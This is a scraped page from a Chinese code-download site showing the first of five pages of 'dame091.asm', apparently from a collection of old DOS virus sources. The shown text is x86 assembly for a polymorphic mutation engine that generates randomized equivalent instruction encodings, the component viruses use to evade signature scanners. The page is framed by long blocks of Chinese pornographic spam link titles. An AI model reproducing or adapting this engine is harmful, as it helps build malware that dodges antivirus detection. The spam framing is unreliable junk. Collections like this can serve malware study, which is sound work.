亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? dame091.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 5 頁
字號:
        jmp     short handle_jmp_table

_mov_reg_xxxx_mov_add:
        call    get_rand_bx                     ; Get a random number
        push    bx                              ; Save it
        sub     dx,bx                           ; Adjust MOV amount
        call    mov_reg_xxxx                    ; MOV to register
        pop     dx                              ; Get random number
        jmp     short go_add_reg_xxxx           ; Add it to the register

_mov_reg_xxxx_mov_al_ah:
        cmp     al,_sp
        jae     _mov_reg_xxxx
        push    ax dx
        call    _mov_al_xx
        pop     dx ax
        xchg    dh,dl
        jmp     short _mov_ah_xx

_mov_reg_xxxx_mov_xor:
        call    get_rand_bx
        push    bx
        xor     dx,bx
        call    mov_reg_xxxx
        pop     dx
        jmp     xor_reg_xxxx

_mov_reg_xxxx_xor_add:
        push    dx
        mov     dx,ax
        call    xor_reg_reg
        pop     dx
go_add_reg_xxxx:
        jmp     add_reg_xxxx

_mov_reg_xxxx_mov_rol:
        ror     dx,1
        call    mov_reg_xxxx
        jmp     short _rol

_mov_reg_xxxx_mov_ror:
        rol     dx,1
        call    mov_reg_xxxx
_ror:
        or      al,8
_rol:
        mov     ah,0d1
        jmp     short go_mod_xxx_rm1


_mov_reg_xxxx:
        call    one_in_two                      ; 1/2 chance of a four byte MOV
        js      _mov_reg_xxxx1

        add     al,0B8
        stosb
        xchg    ax,dx
        stosw
        ret
_mov_reg_xxxx1:                                 ; Do the four byte register MOV
        mov     ah,0c7
        jmp     mod_xxx_rm_stosw

mov_ah_xx:
_mov_ah_xx:
        add     al,04
mov_al_xx:
_mov_al_xx:
        add     al,0B0
        mov     ah,dl
        stosw
        ret

mov_reg_reg: ; ax, dx preserved
        mov     si,offset mov_reg_reg_table
        jmp     short go_handle_jmp_table1

_mov_reg_reg_push_pop:
        push    ax
        xchg    dx,ax
        call    _push                           ; PUSH REG2
        pop     ax
        jmp     _pop                            ; POP  REG1

_mov_reg_reg:
        mov     ah,08Bh
        jmp     short _mod_reg_rm_direction

mov_xchg_reg_reg:
        call    one_in_two
        js      mov_reg_reg

xchg_reg_reg:  ; ax, dx preserved
        mov     si,offset xchg_reg_reg_table
go_handle_jmp_table2:
        jmp     short go_handle_jmp_table1

_xchg_reg_reg_push_pop:
        push    dx ax dx
        call    _push                           ; PUSH REG1
        pop     ax
        call    _push                           ; PUSH REG2
        pop     ax
        call    _pop                            ; POP  REG1
        pop     ax
        jmp     _pop                            ; POP  REG2

_xchg_reg_reg_3rd_reg:
        call    free_regs
        jne     _xchg_reg_reg

        push    dx ax
        call    get_another                     ; Get free register (reg3)
        call    mov_xchg_reg_reg                ; MOV/XCHG REG3,REG2
        pop     dx
        call    xchg_reg_reg                    ; XCHG REG3,REG1
        pop     dx
        xchg    ax,dx
        call    mov_xchg_reg_reg                ; MOV/XCHG REG2,REG3
        jmp     clear_reg_dx

_xchg_reg_reg:
        or      al,al
        js      __xchg_reg_reg

        cmp     al,dl
        jg      _xchg_reg_reg_skip
        xchg    al,dl
_xchg_reg_reg_skip:
        or      dl,dl
        jz      _xchg_ax_reg
__xchg_reg_reg:
        xchg    al,dl
        mov     ah,87
        jmp     short _mod_reg_rm
_xchg_ax_reg:
        add     al,90
        stosb
        ret

xor_reg_xxxx_xor_xor:
        call    get_rand_bx
        push    bx
        xor     dx,bx
        call    xor_reg_xxxx
        pop     dx
        jmp     short xor_reg_xxxx

xor_reg_xxxx:
        mov     si,offset xor_reg_xxxx_table
        jmp     short go_handle_jmp_table2

_xor_reg_xxxx:
        or      al,030
        jmp     _81h_

xor_reg_reg:
        mov     si,offset xor_reg_reg_table
go_handle_jmp_table3:
        jmp     short go_handle_jmp_table2

_xor_reg_reg:
        mov     ah,33
; The following is the master encoder.  It handles most traditional encodings
; with mod/reg/rm or mod/xxx/rm.
_mod_reg_rm_direction:
        or      al,al                           ; If al is a memory pointer,
        js      dodirection                     ; then we need to swap regs
        or      dl,dl                           ; If dl is a memory pointer,
        js      _mod_reg_rm                     ; we cannot swap registers
        call    one_in_two                      ; Otherwise there is a 50%
        js      _mod_reg_rm                     ; chance of swapping registers
dodirection:
        xchg    al,dl                           ; Swap the registers and adjust
        sub     ah,2                            ; the opcode to compensate
_mod_reg_rm:
        shl     al,1                            ; Move al to the reg field
        shl     al,1
        shl     al,1
        or      al,dl                           ; Move dl to the rm field
mod_xxx_rm:
        or      al,al                           ; Is al a memory pointer?
        js      no_no_reg                       ; If so, skip next line

        or      al,0c0                          ; Mark register in mod field
no_no_reg:
        xchg    ah,al

        test    ah,40
        jnz     exit_mod_reg_rm

        test    cl,1
        jnz     continue_mod_xxx_rm

        push    ax
        mov     al,2e
        stosb
        pop     ax
continue_mod_xxx_rm:
        stosw

        mov     si,cs:[bp]                      ; Store the patch location
        add     si,si                           ; for the memory in the
        mov     cs:[si+bp+2],di                 ; appropriate table for later
        inc     word ptr cs:[bp]                ; adjustment
                                                ; cs: overrides needed for bp
        mov     al,_relocate_amt
        cbw
exit_mod_reg_rm:
        stosw
        ret

add_reg_reg:
        mov     si,offset add_reg_reg_table
        jmp     short go_handle_jmp_table3

_add_reg_reg:
        mov     ah,3
        jmp     short _mod_reg_rm_direction

sub_reg_reg:
        mov     si,offset sub_reg_reg_table
go_handle_jmp_table4:
        jmp     short go_handle_jmp_table3

_sub_reg_reg:
        mov     ah,2bh
        jmp     short _mod_reg_rm_direction

_add_reg_xxxx_inc_add:
        call    inc_reg
        dec     dx
        jmp     short add_reg_xxxx

_add_reg_xxxx_dec_add:
        call    dec_reg
        inc     dx
        jmp     short add_reg_xxxx

_add_reg_xxxx_add_add:
        call    get_rand_bx
        push    bx
        sub     dx,bx
        call    add_reg_xxxx
        pop     dx
        jmp     short add_reg_xxxx

add_reg_xxxx1:
        neg     dx
add_reg_xxxx:
        or      dx,dx
        jnz     cont
return1:
        ret
cont:
        mov     si,offset add_reg_xxxx_table
        jmp     go_handle_jmp_table4

_add_reg_xxxx:
        or      al,al
        jz      _add_ax_xxxx
_81h_:
        or      al,al
        js      __81h
        add     al,0c0
__81h:
        mov     ah,81
mod_xxx_rm_stosw:
        call    mod_xxx_rm
_encode_dx_:
        xchg    ax,dx
        stosw
        ret
_add_ax_xxxx:
        mov     al,5
_encode_al_dx_:
        stosb
        jmp     short _encode_dx_

sub_reg_xxxx1:
        neg     dx
sub_reg_xxxx:
_sub_reg_xxxx:
        or      dx,dx                           ; SUBtracting anything?
        jz      return1                         ; If not, we are done

        or      al,al                           ; SUB AX, XXXX?
        jz      _sub_ax_xxxx                    ; If so, we encode in 3 bytes
        add     al,028                          ; Otherwise do the standard
        jmp     short _81h_                     ; mod/reg/rm deal
_sub_ax_xxxx:
        mov     al,2dh
        jmp     short _encode_al_dx_

dec_reg:
        push    ax
        add     al,8
        jmp     short _dec_inc_reg
inc_reg:
        push    ax
_dec_inc_reg:
        or      al,al
        jns     _norm_inc
        mov     ah,0ff
        call    mod_xxx_rm
        pop     ax
        ret
_norm_inc:
        add     al,40
        stosb
        pop     ax

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日本韩国一区二区三区视频| 精品视频全国免费看| 免费观看在线色综合| 日韩和欧美一区二区| 亚洲va国产va欧美va观看| 亚洲女爱视频在线| 亚洲高清不卡在线观看| 亚洲一区二区视频在线观看| 一区二区激情小说| 亚洲在线观看免费| 三级欧美韩日大片在线看| 日本不卡一区二区三区| 久久狠狠亚洲综合| 精品一区二区av| 成人黄页在线观看| 91视频在线观看| 欧美一区二区三区小说| 精品国精品自拍自在线| 欧美激情一区二区三区四区| 国产精品私人影院| 亚洲综合区在线| 日本中文字幕一区| 国产suv一区二区三区88区| www.久久精品| 666欧美在线视频| 亚洲国产精品二十页| 亚洲一区在线视频| 国产米奇在线777精品观看| 99精品视频在线观看| 欧美精品乱码久久久久久按摩| 日韩欧美一二三| 亚洲人亚洲人成电影网站色| 图片区小说区区亚洲影院| 国产精品77777| 欧美日韩精品一二三区| 国产欧美一二三区| 日韩国产高清在线| 成人av小说网| 日韩精品一区二区三区在线| 亚洲视频在线一区二区| 久久97超碰色| 欧洲国内综合视频| 国产精品理论片| 韩国v欧美v日本v亚洲v| 欧美在线观看视频在线| 久久欧美中文字幕| 五月婷婷另类国产| 91丨porny丨国产入口| 久久久久久久久免费| 亚洲综合小说图片| 91亚洲精品久久久蜜桃| 国产日韩欧美亚洲| 毛片不卡一区二区| 欧美日韩精品一区二区三区四区| 欧美韩国一区二区| 国产乱码字幕精品高清av| 91精品婷婷国产综合久久性色| 成人免费一区二区三区在线观看| 国产一区二区三区高清播放| 欧美精品久久久久久久多人混战 | 欧美丰满少妇xxxxx高潮对白| 欧美激情一区二区三区全黄| 极品美女销魂一区二区三区免费| 欧美日韩大陆在线| 一区二区在线观看免费视频播放| 国产99一区视频免费| 久久中文字幕电影| 久久97超碰国产精品超碰| 欧美一区二区三区四区久久| 亚洲国产综合91精品麻豆| 色狠狠av一区二区三区| 亚洲欧美日韩中文播放| 91麻豆免费观看| 伊人开心综合网| 91久久精品国产91性色tv| 亚洲三级在线免费观看| 色婷婷精品大视频在线蜜桃视频| 国产精品毛片久久久久久| 国产a精品视频| 综合久久综合久久| 91香蕉国产在线观看软件| 国产精品家庭影院| 91蜜桃视频在线| 亚洲国产视频在线| 欧美日本在线播放| 国内成人自拍视频| 国产精品久久久久久久第一福利 | 夜夜揉揉日日人人青青一国产精品| 成人a区在线观看| 亚洲免费在线观看| 欧美日韩亚洲高清一区二区| 天堂va蜜桃一区二区三区漫画版| 欧美高清精品3d| 久久99深爱久久99精品| 国产欧美一区二区精品性色 | 欧美电影免费提供在线观看| 久久成人羞羞网站| 中文字幕一区二区5566日韩| 欧美在线观看18| 精品一区二区在线看| 国产丝袜美腿一区二区三区| 99久久精品免费看国产| 日韩高清在线不卡| 中文字幕欧美日韩一区| 欧美日韩午夜影院| 国产成人免费在线视频| 亚洲一区二区三区自拍| 久久天堂av综合合色蜜桃网| 一本到三区不卡视频| 免费观看30秒视频久久| 亚洲美女淫视频| 2020日本不卡一区二区视频| 91亚洲永久精品| 久久99久久精品| 亚洲国产欧美日韩另类综合| 久久久久99精品国产片| 欧美日韩不卡一区| av中文字幕在线不卡| 蜜臀av一区二区| 一区二区三区精品| 国产精品免费网站在线观看| 69堂成人精品免费视频| 一本色道**综合亚洲精品蜜桃冫| 精品中文字幕一区二区| 一区二区三区国产精华| 国产精品国产a| 精品国产sm最大网站免费看| 91视频91自| jizzjizzjizz欧美| 韩国一区二区在线观看| 日韩黄色免费网站| 香蕉成人啪国产精品视频综合网| 亚洲同性同志一二三专区| 久久久亚洲欧洲日产国码αv| 欧美高清一级片在线| 在线观看视频欧美| 一本到高清视频免费精品| 不卡视频一二三| 成人高清免费在线播放| 精品系列免费在线观看| 日韩高清不卡一区二区| 婷婷激情综合网| 一区二区成人在线观看| 亚洲色图自拍偷拍美腿丝袜制服诱惑麻豆| 欧美电视剧在线观看完整版| 日韩一级片网址| 在线播放/欧美激情| 7777精品伊人久久久大香线蕉超级流畅 | 久久精品这里都是精品| 欧美丰满美乳xxx高潮www| 欧美色偷偷大香| 欧美色欧美亚洲另类二区| 日本韩国精品在线| 99久久伊人久久99| 99精品久久只有精品| 99精品久久免费看蜜臀剧情介绍| 成人黄色在线视频| 色婷婷久久99综合精品jk白丝 | 婷婷综合五月天| 天堂一区二区在线| 日本不卡视频在线观看| 蜜臀av一区二区在线免费观看 | 99精品国产91久久久久久 | 欧美日韩一区二区在线观看| 色婷婷综合久色| 欧美无砖专区一中文字| 欧美嫩在线观看| 精品入口麻豆88视频| 久久久久99精品一区| 中文字幕日韩精品一区| 亚洲一区在线电影| 蜜臀av性久久久久av蜜臀妖精| 国产综合色视频| 91亚洲永久精品| 日韩免费高清av| 国产精品婷婷午夜在线观看| 亚洲综合在线观看视频| 免费一区二区视频| 国产精品77777| 欧美日韩免费电影| 国产日产欧美一区二区三区| 亚洲码国产岛国毛片在线| 日韩精品成人一区二区三区| 精品一二线国产| 欧美在线免费观看视频| 日韩午夜激情视频| 国产精品国产三级国产aⅴ入口| 亚洲国产高清在线| 石原莉奈在线亚洲二区| 国产高清不卡一区二区| 欧美日韩在线播放一区| 欧美精品一区男女天堂| 亚洲综合一区在线| 国内精品免费在线观看| 在线视频你懂得一区| 国产欧美日韩视频一区二区| 日日摸夜夜添夜夜添国产精品| 国产成人精品影视| 欧美一区二区三区在线观看视频| 国产精品护士白丝一区av|